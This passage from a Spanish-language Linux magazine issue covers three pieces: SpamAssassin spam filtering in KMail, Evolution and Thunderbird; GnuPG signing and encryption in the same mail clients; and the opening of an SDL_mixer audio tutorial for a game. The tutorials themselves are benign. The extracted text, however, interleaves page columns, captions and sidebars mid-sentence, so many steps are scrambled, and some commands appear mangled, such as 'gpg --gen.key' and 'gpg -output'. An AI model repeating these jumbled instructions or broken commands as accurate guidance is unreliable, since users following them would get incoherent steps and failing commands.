correo, ahora se procesa por los dos filtros, los cuales, con un poco de buena suerte, enviarán cualquier correo basura a la papelera. Lo malo es que esto significa que se tardará un poco más en descargar el correo ya que KMail necesita lanzar spamc para cada mensaje. Las versiones actuales de KMail necesitan menos recursos y son muy rápidas.
Si tiene una nueva versión de KMail (1.7 o superior), puede simplemente habilitar el soporte integrado de SpamAssassin (ver el cuadro de diálogo de Progreso). Para versiones más antiguas de KMail, necesitará darse un paseo por el filtro normal de correo, o sea, via menú Setting | Configure Filters (Figura 1). En la ventana que se muestra, pulsar el botón que se muestra en la Figura 1 para crear una nueva regla, la cual podría llamar Find Spam. En la lista de selección, pulsar sobre <any header> y luego Filtrado con Evolution pulsar sobre matches regular expression en el campo de la Configurar un filtro en Evolution derecha. En la caja de texto de la (Versión 1.4.6) sigue un procediderecha, introduzca un punto miento similar al de KMail, como una expresión regular que Figura 5: Configurando el filtro de basura integrado en el aunque los menús tienen nomcoincida con cualquier carácter cliente de correo Thunderbird.I bres distintos y están organizados que contenga un mensaje de de forma diferente. Pulse en Tools correo electrónico. Esto completa la spam. Para ver estas cabeceras adi| Filter para abrir el diálogo de filtros configuración de una regla de filtro que cionales, seleccione View | Header | All donde puede pulsar Add para abrir una coincidirá con cualquier mensaje que Headers, y después busque las líneas nueva ventana (Figura 2). llegue. que comiencen por X-Spam. Primero asignamos un nombre a la Seleccionar pipe through bajo Filter Una segunda regla de filtrado elimiregla, por ejemplo Find Spam. En la Actions y teclee spam en la caja de texto nará el correo basura que ha sido etiparte de arriba de la lista, el cual origi-
12
Número 05
WWW.LINUX- MAGAZINE.ES
Spam Hunter • PORTADA
Figura 4: Una regla de filtrado que chequea todos los mensajes que tienen el conjunto X-Spam-Flag a YES en la cabecera.
en el cliente de correo, Mozilla Thunderbird [3] Figura 3: Añadiendo filtros en el diálogo del filtro de Evolution. soluciona esto de una forma simple. nalmente lee Sender, seleccione Regex Thunderbird tiene un mecanismo que Match y teclee un punto en el campo de gradualmente aprende de lo que el texto. Esta regla maneja cualquier menusuario considera spam. saje entrante, como el único que La configuración comienza con Tools creamos para KMail. En la parte de | Junk Mail Controls | Settings (Figura abajo de la ventana, seleccione el item 4). En esta pestaña, necesita deshabiliPipe Message to Shell Command. tar la opción Move incoming messages Entonces teclee /usr/bin/spamc en la determined to be junk mail to: para percaja de la derecha. mitirle entrenar el filtro integrado. Utilizando los mismos pasos, ahora Ahora cierre el diálogo y pulse para configure un segundo comando denodescargar su correo desde el servidor. minado Move Spam; esto utilizará el criThunderbird etiquetará todos sus menterio Specific Header, X-Spam-Flag y sajes de correo como basura reemYES como el contenido (Figura 3). plazando el icono de la papelera próxima a la fecha. Ahora observe la lista Bajo Presupuesto cuidadosamente y pulse para eliminar Si prefiere evitar el tener que instalar un el icono de cualquier mensaje correcto. programa extra y configurar los filtros La próxima vez que pruebe Thunder-
Instalación SpamAssassin es una herramienta popular, así que los paquetes listos para su ejecución están disponibles en muchas distribuciones. Actualmente, la mayoría de las distribuciones colocan SpamAssassin en la instalación, permitiendo que un simple paquete maneje la instalación. Tanto Fedora Core 2, como Suse 9.1 lo incluyen en la Versión 2.6.3. Hay un paquete RPM con el actual SpamAssassin 3.0.1 en http://atrpms. net/. Sin embargo, instalar el RPM requiere habilidades avanzadas, ya que las distribuciones estándar normalmente carecen de las librerías requeridas. Aunque es bastante fácil ir a Google a por las librerías, instalándolas en su propia distribución puede resultar difícil debido al número de dependencias que se necesitan para resolverlas. Esto es por lo que hemos escogido a SpamAssassin 2.6 para este artículo. El software Antispam necesita los si-
guientes paquetes Perl: perl-TimeHiRes, perl-Digest-SHA1, perl-DigestHMAC y perl-NetDNS. Si utiliza un gestor de paquetes basado en GUI para la instalación, éste automáticamente manejará las dependencias. Si no es así, el tiempo de instalación puede variar. Los usuarios de Debian pueden ejecutar apt-get install spamassassin para instalar SpamAssassin, sin embargo, tiene que hacerlo con la Versión 2.64. SpamAssassin necesita ejecutarse en segundo plano para permitirle al programa de correo buscar el spam. Fedora tiene un chkconfig spamassassin con parámetros que configuran el programa continuamente y lo lanza a la vez. En cambio, en Suse necesita teclear insserv spamd. Debian utiliza el script update-rc.d para este propósito. El script espera el nombre del servicio (spamassassin), el comando start, el número de script y finalmente el nivel de ejecución.
bird, la tasa de aciertos debería haber mejorado. Cuando esté contento con los resultados obtenidos, cambie la configuración en el cuadro de diálogo del filtro de basura para indicarle a Thunderbird que mueva los mensajes de spam a la carpeta de la papelera.
De Por Vida Un filtro de spam basado en el cliente precisa descargar los mensajes de correo electrónico de spam antes de filtrarlos, pero si no tiene acceso directo al servidor, ésta es la mejor opción. SpamAssassin hace referencia a listas de actualización en Internet y la tasa de detección es bastante alta debido al número de comprobaciones que aplica. SpamAssassin tiene mucho potencial, permitiendo añadir nuevas reglas y alimentarlo con correo basura para entrenarlo. La página man de SpamAssassin, sa-learn, le suministra ■ más información.
Progreso Las versiones más actuales de KMail (por ejemplo, 1.7.1) o Evolution (2.0 o superior) pueden ahorrarle un montón de trabajo. Los programas de correo modernos tienen muchos mecanismos anti-spam. Actualmente se requiere instalar SpamAssassin antes de que instale Evolution 2.0 en Fedora Core 3. KMail permite darle a los usuarios escoger entre Bogofilter, Annoyances y SpamAssassin. Cuando el programa se lanza, automáticamente buscará en su ordenador herramientas anti-spam.
RECURSOS [1] http://www.spamhaus.org/sbl/ [2] Test integrados en SpamAssassin 2.6 http://spamassassin.apache.org/ tests_2_6x.html [3] Cliente de correo Thunderbird: http:// www.mozilla.org/products/ thunderbird/
PORTADA • Encriptación de Email
Encriptando el correo con KMail, Thunderbird y Evolution
BAJO LLAVE Las aplicaciones de correo electrónico más importantes incluyen nuevas características para ayudar a los usuarios a asegurar y autenticar sus mensajes de correo electrónico, pero cada herramienta tiene una solución diferente para realizar las tareas como firmar y encriptar. Este artículo describe como añadir encriptación y firmas digitales a los clientes de correo Thunderbird, Kmail y Evolution. POR FRAUKE OSTER
L
os espías lo tienen ahora mejor que nunca con Internet. Ya no hay necesidad de falsificar un sello para responder un correo con el nombre de un tercero, tan sólo hay que ponerlo en el campo “From” de la cabecera del mensaje. El protocolo de correo no proporciona ninguna clase de protección frente a esta clase de manipulaciones. Si quiere que las personas que reciben sus mensajes le autentiquen, debería tomar
14
Número 05
el hábito de firmar sus mensajes de correo. Lo mismo se aplica a la encriptación o ¿le gustaría que un administrador curioso del servidor de correo leyera sus mensajes? Cualquiera con acceso a los servidores que se encargan de repartir el correo podría teóricamente leer sus mensajes. GNU Privacy Guard (GnuPG) [1] es un programa que protege sus mensajes de ser monitorizados y manipulados.
WWW.LINUX- MAGAZINE.ES
GnuPG es un sistema criptográfico que usa claves asimétricas. Para el usuario, esto significa tener dos claves, una privada y otra pública, que se generan como un par de claves. La clave privada, protegida por una contraseña, se mantiene en secreto. Ésta es la clave que usted usará para desencriptar y firmar sus mensajes de correo. Por otro lado, necesita distribuir su clave pública entre las personas con las
Encriptación de Email • PORTADA
1024 bits, que debería ser electrónico como su key-ID. Después de bastante buena para las completar esta selección, presione [y] comunicaciones por para confirmar el período de validez. correo electrónico norEl siguiente paso es teclear su nombre, males. Pulse [Enter] de opcionalmente se puede añadir un nuevo para aceptar la comentario, y una dirección de correo opción por defecto. electrónico válida. Ésta es la dirección A continuación, GnuPG para la que está creando el par de claves. le solicitará que introLuego pulse F para finalizar y confirmar duzca el período de sus entradas. Finalmente, GnuPG le validez o fecha de caducisolicita que introduzca una “frase de Figura 1: La mayoría de los programas de correo hacen uso de dad del par de claves. Si paso” para las claves. Como el término la herramienta de la línea de comandos gpg. gpg --version le intenta configurar una “frase de paso” indica, no es una simple indica que versión está instalado en su sistema. gran red de confianza palabra, sino una cadena larga de letras, (véase el cuadro 2), no números y caracteres especiales. La que se va a escribir. La clave pública perquerrá que las claves caduquen demaseguridad de GnuPG reside en su frase mite a la gente que le escribe encriptar siado pronto; esto significaría que tende paso elegida. Si alguien robara su cualquier mensaje que le envíen y comdría que mandar las nuevas claves a la clave privada, la frase de paso es la única probar su firma digital. Cuando se firma red entera y toda la red tendría que fircosa que impedirá que esta persona deun mensaje, GnuPG usa su clave secreta mar sus claves. Si duda, mejor no especisencripte sus mensajes o firme mensajes para generar una cadena hash para el fique el período de validez. En este caso en su nombre. necesitará un certificado de revocación Encontrará las configuraciones cuerpo del mensaje y lo añade al menpara revocar las claves antes de la fecha requeridas para usar GnuPG en KMail saje. El receptor puede usar su clave de caducidad y eliminarla de los servi1.6.2 [2] en Settings | Configure KMail. pública para verificar la autenticidad del dores de claves. Su mejor opción es crear En la ventana Security, solapa OpenPGP, mensaje. un certificado de revocación inmediataseleccione GnuPG - GNU Privacy Guard El Software Necesario mente después de crear el par de claves (Figura 2). Luego asigne una clave Se necesitan dos cosas para realizar teclee gpg -output revoke.asc --gen-revoke GnuPG a su dirección de correo eleccomunicaciones seguras de esta clase: el key-ID para hacerlo - y almacenar el certrónico en Identities. software GnuPG y un programa de tificado en un lugar seguro para su uso Se mostrarán dos botones nuevos en la correo que soporte GnuPG. En este futuro. Introduzca su dirección de correo ventana Composer. El símbolo de la artículo, veremos como manejar GnuPG con KMail, Thunderbird y Evolution. gpg Cuadro 1: Novedades en KMail 1.7 --version le indica si GnuPG está instaLa integración con OpenPGP/MIME ha A diferencia de KMail 1.6.2, la nueva lado en su sistema y, si es así, le dice que añadido unos cuantos elementos al versión ya no tiene una opción para versión tiene (Figura 1). Si por el concuadro de diálogo de configuración de seleccionar el programa de trario, se muestra un mensaje de error, KMail versión 1.7 (que se suministra con encriptación. En vez de ello, el soporte necesitará instalarlo desde el soporte de KDE 3.3). Ahora hay cinco solapas en de GnuPG ha sido añadido a la solapa la distribución. El paquete típicamente Settings | Configure KMail | Security. La Crypto backends. En la solapa Reading, solapa Composer tiene más opciones le puede decir a KMail que automáticase denomina gpg o gnupg; en Suse 9.1, para firmar y encriptar los mensajes, mente importe las claves públicas la versión del paquete es la 1.2.4. incluyendo opciones para firmar adjuntas a los mensajes entrantes. Esto Como no todos los clientes de correo automáticamente y si es posible encriple ahorrará un montón de esfuerzo en son capaces de generar un par de claves, tar los mensajes. KMail tiene ahora una el caso de que quisiera recibir las su mejor opción es usar la herramienta opción de almacenar los mensajes claves por correo electrónico en vez de basada en la shell, que funcionará en encriptados que se envíen; Esto impide usar un servidor de claves. cualquier sistema. Teclee gpg --gen.key que los usuarios no autorizados puedan Aún puede definir sus propias claves para entrar en el diálogo de la geleer sus mensajes del disco, incluido los en la solapa Security en el cuadro de neración del par de claves. GnuPG le mensajes encriptados guardados como diálogo Identity. La solapa Crypto backpedirá que especifique primero el tipo de borradores. Si prefiere tener el control ends tiene opciones nuevas para selecclaves. Hay tres opciones disponibles, sobre lo que KMail hace, le puede decir a cionar el tipo de encriptación. Aquí es KMail que le pregunte para confirmar la pero la que viene por defecto - ElGamal y donde puede optar por usar OpenPGP/ clave que ha seleccionado. DSA - es su mejor apuesta. Presione MIME o la encriptación entre líneas. [Enter] para confirmar. Entonces se Cuando componga un mensaje, tamEn la solapa Warnings (Figura 4), le puede decir a KMail que le recuerde que firme o bién puede seleccionar uno de estos puede continuar especificando la longiencripte los mensajes. Si lo hace así, un métodos del menú desplegable. Esta tud de la clave. La longitud es siempre aviso de seguridad se mostrará cada vez característica es útil si desea enviar un compromiso entre la seguridad y el que intente enviar un mensaje sin firmar mensajes a alguien que use un cliente tiempo de procesamiento. Una clave o encriptar. Por defecto KMail le avisa si de correo sin soporte MIME, como es corta es fácil de romper, pero se procesa una clave está próxima a caducar. KMail 1.6. muy rápidamente. Por defecto viene
WWW.LINUX- MAGAZINE.ES
Número 05
15
PORTADA • Encriptación de Email
otros programas GnuPG en Enigmail | Preferences (Figura clientes usan. 5) - esto es /usr/bin/gpg para la mayoría de OpenPGP/MIME las distribuciones - y use las opciones por encripta todas las defecto para el resto de los otros campos. partes de un menPuede usar la nueva solapa OpenPGP saje de correo Security en Tools | Account settings para electrónico, especificar las claves que Enigmail debe incluyendo los usar. Primero, habilite el soporte GnuPG ficheros adjuntos marcando Enable OpenPGP support y los envía como (Enigmail) for this identity (Figura 6). Si partes individuausa la misma dirección de correo elecles MIME. trónico para la cuenta y la clave. Las versiones Thunderbird automáticamente busmás antiguas de cará las claves correspondientes. Si no lo KMail no pueden hace, seleccione la segunda opción y manejar mensajes escoja la clave correspondiente del lisFigura 2: Seleccione GnuPG como el programa de encriptación en el OpenPGP/MIME, tado de claves existentes. Luego concuadro de diálogo de configuración de KMail. como los generatinúe especificando si Thunderbird debe dos por la mayoría firmar y encriptar los mensajes automátide los programas de correo. Por otro pluma se usa para firmar y el símbolo camente. lado, Evolution, por ejemplo, no puede del candado para encriptar mensajes de Cuando compone un mensaje, se desencriptar mensajes encriptados entre correo electrónico. Puede seleccionar muestra el botón OpenPGP con un menú líneas. Los clientes Thunderbird y el Attach Public Key en el menú Attach para desplegable (Figura 7). Puede usar el nuevo KMail soportan añadir su clave pública o la de otro ambos métodos. Así usuario al mensaje de correo electrónico. que vale la pena actuaSi recibe un mensaje de correo eleclizarse a KMail 1.7. El trónico firmado, KMail dibuja un marco cuadro 1 le muestra un alrededor del mensaje (Figura 3). Las firresumen de los cammas inválidas se enmarcan en rojo; las bios. válidas pero sin confiar, en amarillo y las Como alternativa, se válidas y confiadas en verde. Esto le puede añadir el indica de un vistazo si puede confiar en soporte OpenPGP/ Figura 3: KMail colorea tanto los mensajes firmados como los un mensaje o no. KMail dibuja un marco MIME desde el encriptados. azul alrededor de cualquier mensaje que proyecto Aegypten [3] haya desencriptado. a KMail 1.6.2. Suse Linux tiene un KMail 1.6.2 tiene una desventaja menú para firmar o encriptar los menpaquete plugin OpenPGP/MIME, pero importante: usa encriptación entre líneas sajes. El menú Enigmail también le perlos usuarios de otras distribuciones ten- es decir, encripta el mensaje pero no los mite adjuntar su clave pública al mendrán que compilar el plugin desde el ficheros adjuntos. La version 1.7 y postesaje para su distribución a sus desticódigo fuente. Como esto implica el riores de KMail adoptan el estándar natarios de correo electrónico. compilar e instalar seis paquetes adiOpenPGP/MIME, que la mayoría de los Si recibe un mensaje de correo eleccionales, una actrónico firmado o encriptado, Enigmail tualización le lo resalta marcando la dirección del resultará más senremitente, adicionalmente muestra una cillo. pluma para los mensajes de correo electrónico firmados y una llave para los Thunderbird mensajes encriptados. Puede hacer click con Enigmail sobre el icono para obtener mayor inforMozilla Thundermación de la firma o de la encriptación. bird [4] necesita el Esto le permite averiguar el origen del plugin Enigmail mensaje. Thunderbird puede componer [5] para soportar y leer mensajes usando tanto el método GnuPG. Necesita de encriptación entre líneas como descargar el pluOpenPGP/MIME. gin de Internet e La ventana principal bajo Enigmail | instalarlo vía Tools OpenPGP Key Management Windows le | Advanced. proporciona una herramienta para la Figura 4: KMail 1.7 puede avisarle si intenta enviar un mensaje sin Especifique la gestión de las claves con unas cuantas encriptar o firmar. ruta al programa funciones útiles. Por un lado, puede lis-
16
Número 05
WWW.LINUX- MAGAZINE.ES
Encriptación de Email • PORTADA
Figura 7: Cuando instale Enigmail, se muestra un botón nuevo, OpenPGP en la ventana Compose.
Figura 5: Antes de que pueda usar el plugin Enigmail con Thunderbird, necesita especificar la ruta a GnuPG.
tar las claves públicas de su sistema. A continuación, puede optar por firmar las claves, crear una clave nueva y añadir usuarios a la clave. El menú Key también le permite crear certificados de revocación (Figura 8). Desafortunadamente, Enigmail no soporta la gestión de servidores de claves, aunque esta característica se va a implementar en futuras versiones.
Evolution: Simple y Seguro Para usar GnuPG con Evolution 2.0.2 [6], abra el cuadro de dialogo de configuración
en el menú Tools y seleccione la cuenta de correo electrónico para la que va a definir la clave GnuPG. Ahora pulse Edit para abrir un nuevo cuadro de diálogo donde podrá introducir el ID de la clave en la solapa Security (Figura 9). Para mostrar el ID, teclee gpg --list-keys su@direccion en una ventana de consola. GnuPG mostrará el tipo de clave (por ejemplo, pub para una clave pública), la longitud de la clave y tipo (por ejemplo, 1024D para una clave de 1024 bits DSA), el ID requerido y las fechas de creación y caducidad. Evolution también acepta la dirección de correo electrónico a la que pertenece la clave en vez del ID. Puede usar el mismo cuadro de diálogo para optar a firmar todos los mensajes salientes, para no firmar nunca citas solicitadas y encriptar mensajes de
Figura 6: Use la configuración de cuentas en Thunderbird para añadirle el soporte de Enigmail a su cuenta de correo electrónico y especifique las claves que Enigmail tiene que usar.
correo electrónico a sí mismo. Esta última es muy útil, ya que adicionalmente encripta mensajes con su propia clave. Dicho de otra forma, puede desencriptar el mensaje usted mismo en una fecha posterior y releerlo si lo desea. Si no habilita esta opción, le será imposible abrir cualquier mensaje que usted componga y encripte. También debería habilitar Always trust keys in my keyring when encrypting, si no Evolution descartará mensajes no firmados.
Cuadro 2: Distribución y Firma de Claves Las comunicaciones GnuPG requieren dos partes. Si desea enviar un mensaje encriptado a alguien, el receptor necesita su clave. Tan sólo tiene sentido enviar un mensaje firmado si el receptor puede usar una clave para comprobar que el mensaje y la firma realmente le pertenecen. En ambos casos, el intercambio de claves es un asunto importante. Después de todo, cualquiera podría enviarle una clave como un fichero adjunto usando una dirección de correo comprometida, así que esto no es una prueba de que la clave realmente le pertenezca al remitente.
única forma de asegurarse de que tiene la clave correcta. Puede telefonear al propietario de la clave para hacerlo o tener un encuentro para intercambiar las huellas. Si la huella coincide, entonces puede teclear gpg --import keyfile para añadir la clave a su anillo de claves.
La huella de la clave le permite verificarla. La huella es una cadena de números y letras mayúsculas que validan la identidad de una clave. Puede generar una huella tecleando gpg --fingerprint Key-ID. En vez de la ID, puede alternativamente proporcionar la dirección de correo electrónico, suponiendo una correlación uno-a-uno entre la clave y la dirección. Si está interesado en enviar una clave como un fichero adjunto o si la descarga de la web, sería conveniente verificar la identidad del propietario usando la huella. Ésta es la
Si tiene una clave verificada, entonces puede firmar una clave. En otras palabras, responde por la identidad del propietario y la correlación entre la clave y el propietario, con su buen nombre (y su clave). Entonces puede devolver la clave firmada al propietario. Otro usuario que no conozca al propietario de la clave, pero le conozca como una persona responsable en la que confiar, puede basar su decisión para aceptar la clave en la firma adjunta a la clave del propietario.
Esto está bien para las personas que conoce, pero ¿qué sucede con aquellas personas con las que quiera comunicarse y no la ha visto anteriormente? Pues aquí es donde las firmas de las claves se usan para construir lo que se denomina una Web de Confianza (Web of Trust).
WWW.LINUX- MAGAZINE.ES
El siguiente comando firmará una clave: gpg --sign-key key-ID Para eliminar la necesidad de adjuntar las claves a los mensajes, existen un número de servidores de claves en Internet y puede descargarlas de estos servidores. Los servidores de claves sincronizan los datos de las claves y distribuyen las claves públicas. En otras palabras, cualquier servidor de claves debería tener la clave que necesita. El siguiente comando: gpg --recv-keys key-ID descarga la clave asociada al ID de la clave de su servidor de claves favorito. Y gpg --send-keys sube sus claves al servidor de claves. El programa le solicitará que confirme la acción, ya que el comando manda todas las claves públicas que pertenezcan a otros usuarios y que usted haya firmado. Si lo que desea es actualizar las claves de su sistema y recibir las firmas de otros usuarios, el siguiente comando lo hará: gpg --refresh-keys
Número 05
17
PORTADA • Encriptación de Email
¿Qué Programa Usar? Aunque los tres programas soportan GnuPG, los tres son bastante diferentes. Evolution 2.0.2 es bastante fácil de configurar para que encripte sus mensajes. Esto lo hace útil para las personas que deseen asegurar sus mensajes de correo Figura 9: Use el editor de cuentas de Evoluelectrónico rápidamente y con un tion para especificar las claves que Evolution esfuerzo mínimo. El programa soporta el debe usar. En vez del ID de la clave que Evoestándar moderno OpenPGP/MIME. Sin lution le solicita, el programa también acepta embargo, no puede desencriptar menla dirección de correo electrónico de su sajes PGP encriptados entre líneas. Esto clave. significa que tiene que almacenar estos propietario de la clave. Esto significa que mensajes y desencriptarlos en la línea de los receptores de los mensajes de correo comandos usando la herramienta gpg electrónico pueden confiar en la identiesto es un trabajo demasiado duro para dad del remitente. la mayoría de la gente. Si opta por encriptar un mensaje, EvoMozilla Thunderbird 0.9 no soporta lution automáticamente busca en su sisGnuPG por defecto, pero puede instalar fácilmente el plugin Enigmail. Enigmail no localiza automáticamente gpg después de instalarse, sino que espera a que se le especifique la ruta. Las otras configuraciones son bastante simples. Una cosa buena de Thunderbird es que soporta tanto la encriptación entre líneas como la Figura 10: Use el menú Security para especificar si va a encriptación OpenPGP/ encriptar o firmar un mensaje.
18
Número 05
WWW.LINUX- MAGAZINE.ES
MIME. Thunderbird gana puntos extras por su gestor de claves integrado, aunque el gestor de servidores de claves aún no lo tenga, como se mencionó anteriormente. La gran desventaja con KMail versión 1.6.2 es la falta de soporte OpenPGP/MIME. La única forma de añadir el soporte OpenPGP/ MIME es compilar el proyecto Aegypten e instalar el plugin. Si esto parece un trabajo demasiado duro, la única opción que le queda es actualizar el programa a la versión 1.7. Una variedad de configuraciones de KMail han sido ampliadas en KMail 1.7. El resaltado de mensajes de correo electrónico firmados y encriptados, permite a los usuarios identificarlos de un vistazo, en vez de perder el tiempo identificando los mensajes en los que ■ puede confiar.
RECURSOS [1] GnuPG: http://www.gnupg.org [2] KMail: http://kmail.kde.org [3] Proyecto Aegypten: gnupg.org/aegypten
http://www.
[4] Mozilla Thunderbird: http://www. mozilla.org/products/thunderbird [5] Enigmail: http://enigmail.mozdev.org/ ,http://www.thunderbirdmail/ extensions/enigmail/enigmail.php [6] Evolution: http://www.gnome.org/ projects/evolution
LA AUTORA
tema la clave pública del destinatario. Esto no funcionará si la dirección de correo electrónico para la clave no es la dirección de destino. Evolution cancela la acción en este punto y Figura 8: Thunderbird con Enigmail es el único de los tres promuestra un mensaje de gramas de correo que proporciona un gestor de claves, permierror. tiendo a los usuarios poder trabajar sin tener que usar la línea Un icono con forma de comandos. de candado se muestra al pie de los mensajes Cuando componga un mensaje nuevo encriptados. Pulsando en dicho icono le (Figura 10), puede usar el menú Security lleva a un cuadro de diálogo con los para especificar si va a encriptar o firmar detalles de la firma o de la encriptación el mensaje. Antes de firmar un mensaje, del mensaje. Sin embargo, Evolution no Evolution le pide su contraseña para asele indica nada sobre la clave usada para gurarse de que usted es realmente el firmar el mensaje y esto hace difícil decidir si el mensaje ha sido enviado por una persona en la que se confía. Evolution no soporta encriptación entre líneas y no puede abrir este tipo de mensajes. En este caso, tendrá que darse una vuelta por la línea de comandos para desencriptar el mensaje.
Frauke Oster estudia informática aplicada y está involucrada en varios proyectos de KDE, incluido el proyecto KDE Women. Cuando Frauke se toma un descanso y deja de hackear y de programar en C/ C++/Qt/Java, en su tiempo libre le gusta ir al cine y a los museos.
SDL-audio • DESARROLLO
Creación de un juego: Programando con SDL audio
MUSICA MAESTRO
En la parte final de nuestra serie, Steven Goodwin repasa la programación del audio del juego y agrega unos toques finales. POR STEVEN GOODWIN
P
elículas y juegos. Es una analogía popular. Y con el aumento de la cinematografía en los juegos y de los gráficos de ordenador en las películas, no parece que vaya a desaparecer. Así que habrá acuerdo, por lo tanto, en que la serie finalice con el sonido, un área que tradicionalmente se deja para las fases de la producción final en películas y juegos.
Muchos Puentes por Cruzar La primera observación que hay que hacer a nuestro código de audio para SDL es ¡Que hemos ignorado SDL! El soporte en el paquete genérico de SDL solamente proporciona acceso a muy bajo nivel a la tarjeta de sonido proporcionando solamente un búfer de audio. Esto no es adecuado para nuestro juego, ya que (entre otras cosas) deseamos que varios sonidos se reproduzcan a la vez. En su lugar, utilizaremos SDL_mixer. Ésta es una de las
muchas librerías disponibles en la actualidad, y que fue escrita por Sam Lantinga, el autor original de SDL, con Stephane Peter y Ryan Gordon. Se puede descargar de [1] y se sitúa directamente encima de SDL, utilizando únicamente la funcionalidad del búfer que proporciona SDL. Conceptualmente esto se consigue creando un solo búfer (primario) que se mapea directamente al búfer de audio estándar de SDL. Este búfer está en un bucle y está siempre reproduciéndose. Entonces se crean varios búferes (secundarios) adicionales que se mezclan en el búfer primario. Cada uno de estos búferes secundarios se denomina un canal. El mezclador funciona simplemente tomando el siguiente pedazo de datos de la muestra de cada canal, sumándolos (con una ponderación proporcional a su volumen) y después dividiendo el número de canales. El puntero del repro-
ductor se mueve entonces al siguiente pedazo. Escribir un código así es un montón de trabajo y como los mejores programadores son perezosos, evitaremos reinventar el gramófono y utilizaremos SDL_mixer. Construir SDL_mixer como una envoltura alrededor de la funcionalidad básica de SDL significa que cualquier plataforma que de soporte a SDL también (por definición) dará soporte a SDL_mixer. Sin embargo, solamente las plataformas Linux, Windows y Macintosh tienen versiones binarias disponibles para la transferencia directa en [1]. Para las demás habrá que compilar desde el código fuente. También se debe descargar e instalar libvorbis [2] (si se desea utilizar archivos Ogg Vorbis), y SMPEG [3] (para reproducir MP3) pues SDL_mixer no contiene sus propios algoritmos decodificadores.
Listado 1: Inicializar el susbsistema de audio
Listado 2: Inicializar la biblioteca SDL_mixer
01 if (SDL_InitSubSystem(SDL_INIT_AUDIO) < 0) 02 { 03 fprintf(stderr, "No se puede iniciar SDL audio: %s\n", 04 SDL_GetError()); 05 }
01 if(Mix_OpenAudio(22050, MIX_DEFAULT_FORMAT, 2, 512) < 0) 02 { 03 fprintf(stderr, "No se puede iniciar SDL_mixer audio: %s\n", Mix_GetError()); 04 }
WWW.LINUX-MAGAZINE.ES
Número 05
19
DESARROLLO • SDL-audio
Es recomendable instalar desde la fuente y utilizar el conocido trio de, ./configure make make install # como root
Al igual que SDL, SDL_mixer es fácil de configurar y no esconde sorpresas. Se puede comprobar la instalación con el archivo de ejemplo sdlwav que se encuentra en el directorio demos. Cuando esté compilado y funcionando podemos volver a nuestro juego y comenzar el rescate de Explorer Dug.
Pasito a Pasito Antes de proceder, se debe inicializar el subsistema de audio de la misma manera que se hizo con el dispositivo gráfico y el de entrada. Es necesario hacer esto por que, aunque no estemos utilizando las capacidades de audio de SDL, SDL_mixer si lo hace. Véase el listado 1. También es necesario inicializar la biblioteca SDL_mixer. Al estilo de SDL, en caso de error esta función devolverá un número negativo. Véase el listado 2. Los parámetros que aparecen aquí son estándares y solo habría que cambiarlos en circunstancias excepcionales. Como referencia, 22050 indica la frecuencia de reproducción del búfer, es decir el número de muestras individuales que se reproducirán en cada segundo para recrear el sonido (véase la Figura 1). Éste debe ser 44100 (para el audio de calidad CD), 22050 (para el audio de calidad media, como el utilizado normalmente en juegos) o 11025 (para máquinas muy lentas). Naturalmente, a frecuencias más altas, es necesario procesar más datos y por tanto el juego funcionará más despacio en máquinas antiguas. El segundo parámetro (MIX_DEFAULT_FORMAT) le indica a SDL_mixer que formato usará el búfer primario. El formato predeterminado indica que se usará 16 bits (uno de ellos será el bit de signo, obteniéndose un rango desde -32768 a 32767) en el orden del byte de sistema, lo cual no coincide con el formato de archivos WAV. Para minimizar la capacidad de proceso necesaria cuando se mezclan las muestras en el búfer primario, todos los sonidos deben almacenarse en memoria en este formato. Cualquier conversión que se haga supondrá un retraso.
20
Número 05
El tercer parámetro se refiere al número de canales de salida, 2 para estéreo, 1 para mono y es lo bastante auto-explicativo. Finalmente, nuestro cuarto parámetro (512) se conoce como ‘tamaño del trozo’. La tarjeta de sonido necesita tener los datos de las muestras antes de comenzar a reproducirlos, así que para evitar estar ocupando el bus constantemente con los datos de audio, estos se copian en trozos. Estos trozos pueden ser grandes o pequeños. Los trozos pequeños significan que el tiempo transcurrido entre que la función los llama y nosotros los escuchamos es también pequeño. Es decir tienen baja latencia. Sin embargo, que los pedazos sean pequeños significa que la tarjeta de sonido necesita ser alimentada más a menudo ya que cada pedazo dura poco. Si la tarjeta de sonido no recibe suficientes datos (debido a que el procesador es muy lento, por ejemplo) habrá pequeñas lagunas en el sonido. Por el contrario, los trozos grandes evitarán esas lagunas, pero a costa de una latencia alta. El valor predeterminado es 512. Usaremos Mix_GetError en el caso de que haya problemas. Llama exactamente a la misma función que SDL_GetError y se ha usado solamente por motivos de estilo. Al igual que el código para la palanca de juegos sobre la que ya escribimos (Linux Magazine Número 3), el sonido no es necesariamente una parte del juego. Esto no es lo mismo que decir que no es necesario en ningún juego. Como en la industria del cine, la música y los efectos sonoros son esenciales para poder atraer a los jugadores al mundo que hemos creado para ellos. Vea una película de miedo con el sonido apagado ¿Sigue dando tanto miedo? Siendo realistas, sin embargo, nuestro juego es del tipo plataforma, cuyo sistemas operativos objetivos es más usado en servidores web o en aplicaciones de Internet. Estas son máquinas que generalmente no tienen tarjetas de sonido o son de gama baja. Así que si la tarjeta de sonido no puede ser inicializada se debe tomar nota de este hecho y declinar toda invitación desde el juego para usarla. Esto es muy importante dentro de SDL, ya que la mayoría de las funciones de SDL_mixer fallaran (la mayoría de manera fatal) si se intenta usar sin un subsistema de audio funcional. Hemos visto algunos ejemplos
WWW.LINUX-MAGAZINE.ES
concretos hace poco. Baste decir que cuando se haya conseguido establecer el dispositivo de audio, estableceremos un indicador como este: TheGame.bHaveAudio = TRUE;
Entonces envolveremos cada función de SDL_mixer con nuestro propio código, para que realice una validación que evite cualquier problema. Esta capa de abstracción es una buena práctica de programación independientemente del API que se use, ya que minimiza la cantidad de trabajo necesario, si hubiera que cambiar a OpenAL u otra API similar. Un ejemplo se puede ver en el Listado 3 y en todo el audio.c. Como cada entrada tiene una salida, debemos reconocer la existencia de nuestra función de cierre Mix_Close, que se llama justo antes de que el programa acabe.
Peso Pesado Hay dos tipos de datos que puede manejar SDL: sonidos y música. Los sonidos son efectos especiales tales como ruido de pasos, ruidos de saltos y la apertura de la puerta de salida. Estos sonidos se almacenan como archivos WAV, AIFF, RIFF, OGG
Listado 3: Reproducción de música 01 BOOL exPlayMusicAndWait(const char *pName) 02 { 03 Mix_Music *pMusic; 04 05 if (!TheGame.bHaveAudio) 06 return FALSE; 07 08 pMusic = Mix_LoadMUS(pName); 09 i f ( p M u s i c & & Mix_PlayMusic(pMusic, 0) == 0) 10 { 11 while(Mix_PlayingMusic() == 1) 12 { 13 SDL_Delay(100); /* let the cpu breath */ 14 } 15 Mix_FreeMusic(pMusic); 16 return TRUE; 17 } 18 19 return FALSE; 20 }
